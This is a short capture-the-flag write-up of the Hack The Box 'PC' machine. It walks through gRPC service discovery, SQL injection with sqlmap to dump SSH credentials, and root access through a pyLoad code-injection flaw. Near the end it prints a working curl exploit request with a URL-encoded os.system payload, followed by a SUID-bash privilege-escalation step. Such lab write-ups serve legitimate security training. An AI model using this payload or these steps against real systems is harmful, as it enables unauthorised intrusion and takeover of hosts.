Hack The Box - PC [Easy]

This machine has only 2 ports open:

$ nmap 10.10.11.214 -Pn -p-
22/tcp    open  ssh
50051/tcp open  unknown

Using telnet to see what is 50051, we get:

telnet 10.10.11.214 50051
Trying 10.10.11.214...
Connected to 10.10.11.214.
Escape character is '^]'.
?�?� �
?^CConnection closed by foreign host.

Which is some random binary data. I’ve explored it with hexdump.

0000000 0000 0418 0000 0000 0000 0004 ff3f 00ff
0000010 0005 ff3f 00ff 0006 2000 fe00 0003 0000
0000020 0001 0400 0008 0000 0000 3f00 0000
000002e

I didn’t figure out what it was, so I googled the port which led me to this question: https://stackoverflow.com/questions/55990378/i-tried-to-deploy-grpc-go-server-in-docker-and-expose-port-in-local-port-but-p

I’ve figured out that this is some rpc server. Using grpcui we can see the following app structure.

$ grpcui -plaintext 10.10.11.214:50051
--- 

SimpleApp.LoginUser {
    username string
    password string
}
SimpleApp.RegisterUser {
    username string
    password string
}
SimpleApp.getInfo {
    id string
}

I’ve used admin:admin to login, and I got a token and a data:

{
  "message": "Your id is 80."
}

// token	b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODUxODM0MDh9.Hpp12rEGhXQONEN2yi65_NCuMQNN5fnvtJbFhI_PEZk'

I’ve used the Request Metadata to send the token when calling the getInfo procedure.

Meta:
token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODUxODM0MDh9.Hpp12rEGhXQONEN2yi65_NCuMQNN5fnvtJbFhI_PEZk

Data:
id: 80

This got me:

{
  "message": "Will update soon."
}

I have no idea what is happening at this point, and I decided to run sqlmap on those requests.

To do that I had to capture the request that is going to the server, I can proxy the UI’s requests towards the RPC with burp. Start burp and intercept the gRPC Web UI and capture the request towards the server. Then save the request to getInfo into a file.

Using sqlmap -r request_file --batch we can dump the credentials for the user and login with the ssh.

Now the root is a bit tricky, I’ve noticed some processes that are running on port 8000 using linpeas. This port is inaccessible, so I had to forward the port to my host using ssh.

$ ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214

Now I can access it, and it turns out to be pyLoad, searching around I saw this:

https://github.com/advisories/GHSA-pf38-5p22-x6h6 https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/

Where I can see the following payload

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Decoding the payload on the jk param: pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};

Now we just have to encode chmod +s /bin/bash into os.system(). After executing that payload, we can launch bash in privilege mode bash -p and I got root.